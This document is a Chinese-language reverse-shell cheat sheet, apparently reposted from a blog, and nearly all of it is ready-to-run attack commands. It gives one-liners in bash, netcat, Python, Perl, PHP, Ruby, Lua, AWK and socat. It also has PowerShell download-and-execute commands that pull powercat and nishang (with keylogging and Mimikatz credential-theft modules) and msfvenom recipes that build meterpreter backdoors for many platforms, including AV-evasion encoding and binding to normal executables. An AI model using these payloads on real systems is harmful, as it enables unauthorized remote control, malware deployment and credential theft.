反彈shell匯總


0x00 bash

1.常規反彈shell:

攻擊機:
nc -lvvp port //port 為攻擊主機端口號,並且此端口號沒有被占用

受害機:
bash -i >& /dev/tcp/攻擊主機ip/port 0>&1 //port 為攻擊主機端口號

2.解釋:

bash -i   打開一個交互的bash

>&   將標准錯誤輸出重定向到標准輸出

/dev/tcp/x.x.x.x/port   意為調用socket,建立socket連接,其中x.x.x.x為要反彈到的主機ip,port為端口

0>&1   標准輸入重定向到標准輸出,實現你與反彈出來的shell的交互
1234567

/dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。

其他版本:

exec 5<>/dev/tcp/x.x.x.x/9999
cat <&5 | while read line; do $line 2>&5 >&5; done
  • 第一條命令 建立與x.x.x.x:9999的tcp連接,並將標准輸入輸出作為device 5的標准輸入輸出

  • 第二條cat <&5 獲取device5的輸入; while read line; do $line 2>&5 >&5 一旦獲取到命令便運行 然后將標准輸入輸出以及標准錯誤輸出到device5中

0x01 nc(netcat)反彈

1.第一種:

攻擊機:
nc -lvvp port //port 為攻擊主機端口號,並且此端口號沒有被占用

受害機:
nc -e /bin/bash 攻擊主機ip port

2.第二種:

nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321    //在攻擊主機上打開兩個終端,分別監聽 1234 和 4321 端口,得到反彈shell后,1234 終端 輸入命令, 4321 終端就會獲得執行相應命令后的結果

3.第三種:

由於現在很多主機上可能沒有netcat了,所以如果遇到雖然有netcat 但不支持 nc -e /bin/bash 攻擊主機ip port-e選項的主機,還可以這樣反彈shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • rm /tmp/f 刪除命令

  • mkfifo /tmp/f; 在tmp目錄下寫fifo文件f

  • /bin/sh -i 2>&1 將/bin/sh 的標准錯誤重定向到標准輸出

  • nc x.x.x.x 2333 >/tmp/f將nc監聽到的輸入 輸入到fifo

0x02 telnet反彈

  1. 在攻擊主機上打開兩個終端分別監聽 1234 和 4321端口,(確保端口開放,並且不被占用),得到反彈shell后,1234 終端 輸入命令, 4321 終端就會獲得執行相應命令后的結果:

nc -lvvp 1234
nc -lvvp 4321
  1. 在目標主機上執行:

telnet 攻擊主機ip 1234 | /bin/bash | telnet 攻擊主機ip 4321

0x03常見腳本反彈

以上腳本是在目標主機上執行,其中 x.x.x.x 均為攻擊主機ip,並且需要提前在攻擊主機上進行監聽相關端口,接下來就不再贅述

1. python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

2. perl

方法一:

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3. Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4. PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

5. Java

public class Revs {
   /**
   * @param args
   * @throws Exception
   */
   public static void main(String[] args) throws Exception {
       // TODO Auto-generated method stub
       Runtime r = Runtime.getRuntime();
       String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
       Process p = r.exec(cmd);
       p.waitFor();
  }
}

6. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. AWK 反彈

攻擊的機器監聽,在收到shell的時候不可以輸入enter,不然會斷開

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

0x04 Mshta 反彈 shell

powershell反彈shell

0x05 powercat反彈shell

powercat(https://github.com/besimorhino/powercat)為Powershell版的Netcat,實際上是一個powershell的函數,使用方法類似Netcat。

受害機:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
或者:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999

攻擊機:
Nc –lvnp 9999

0x06 nishang反彈shell

操作系統 PowerShell版本 是否可升級
Window7/Windows server 2008 2.0 可以升級3.0、4.0
Window 8/ Windows server 2012 3.0 可升級4.0
Window 8.1/ Windows server 2012 R2 4.0 升級5.0 5.1

https://github.com/samratashok/nishang/

tips:

  1. Nishang要在PowerShell3.0以上的環境下才可以正常使用,在window 7或者server2008上可能會出現一些異常。

  1. 輸入Get-Host或者$PSVersionTable.PSVERSION來查看版本信息。

導入Nishang模塊
Import-Module .\nishang.psm1
導入成功后,產看Nishang中模塊
Get-Command –Module nishang

Nishang攻擊模塊有(部分):

  1. Check-VM:檢測目標機器是否為虛擬機

  2. Invoke-CredentialsPhish:欺騙目標主機用戶,用作釣魚

  3. Copy-VSS:利用Volume Shaodow Copy復制sam文件

  4. FireBuster FireLiStener:用作內網環境掃描

  5. Keylogger:用作鍵盤記錄

  6. Invoke-Mimikatz:類似Mimikatz,直接獲取系統賬號明文密碼

  7. Get-PassHashes:獲取系統密碼hash值

1. 基於TCP的Powershell交互式shell

受害機:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

其中,Invoke-PowerShellTcp是基於TCP協議的Powershell正向連接或者反向連接shell,其參數如下:
- IPAddress 反向連接時設置的IP
- Port 正向連接時設置的端口,前面要寫上-Bind參數
- Reverse 反向連接
- Bind 正向連接

反向連接: Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
正向連接: Invoke-PowerShellTcp -Bind -Port 4444

2. 基於UDP的Powershell交互式shell

受害機:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399

攻擊機:
反向連接: nc -lup 6005
正向連接: nc -nvu 192.168.1.24 4555

3. 基於ICMP的Powershell交互式Shell

受害機:
Invoke-PowerShellIcmp -IPAddress <source IP address>

攻擊機:
python icmpsh-m.py <source IP address> <destination IP address>

4. 基於HTTP/HTTPS的Powershell交互式Shell

HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 4444

然后會生成一個powershell如下的命令····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后復制該命令在被攻擊機器上執行即可,便可看到反彈的shell

0x07 socat反彈shell

socat,一個多功能的網絡工具,名字來源於SOcket CAT,是netcat的增強版,也就是netcat++(擴展了設計,並有新的實現)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

0x08 msf生成payload反彈shell

常用命令:

1. –p (- -payload-options)

添加載荷payload。

根據對應的載荷payload生成對應平台下的后門。

(- -payload-options 列出payload選項)

2. –l

查看所有payload encoder nops。

3. –f (- -help-formats)

輸出文件格式。

(- -help-formats 列出所有文件格式)

Executable formats:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

4. –e

編碼免殺。

5. –a (- -platform – -help-platforms)

選擇架構平台

x86 | x64 | x86_64

Platforms:

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

6. –o

文件輸出。

7. –s

生成payload的最大長度,就是文件大小。

8. –b

避免使用的字符 例如:不使用 ‘\0f’。

9. –i

編碼次數。

10. –c

添加自己的shellcode。

11. –x | -k

捆綁。例如:原先有個正常文件normal.exe 可以通過這個選項把后門捆綁到這個程序上面。

1、創建監聽:

(根據后門使用的payload選擇監聽時對應payload,默認使用generic/shell_reverse_tcp):

2、生成windows exe 后門:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f exe > shell.exe   //自行選擇平台架構

3、生成linux后門:

 msfvenom -p linux/x86/shell_reverse_tcp  LHOST=10.10.12.191 LPORT=4444  -f elf > mshell.elf

4、生成java后門:

msfvenom -p java/meterpreter/reverse_tcp  LHOST=10.10.12.191 LPORT=4444 w > 123.jar

5、生成asp后門:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f asp > shell.asp

6、生成jsp后門:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f raw > shell.jsp

7、生成php后門:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.193 LPORT=4444 -o 1234.php

8、生成android后門:

 msfvenom -p android/meterpreter_reverse_tcp LHOST=10.10.12.191 LPORT=4444 R > 11.apk

9、生成war后門:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f war > shell.war

 

10、生成mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻擊機IP LPORT=攻擊機端口 -f c

11、生成 linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機端口 -f c

12、生成 windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機端口 -f c

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM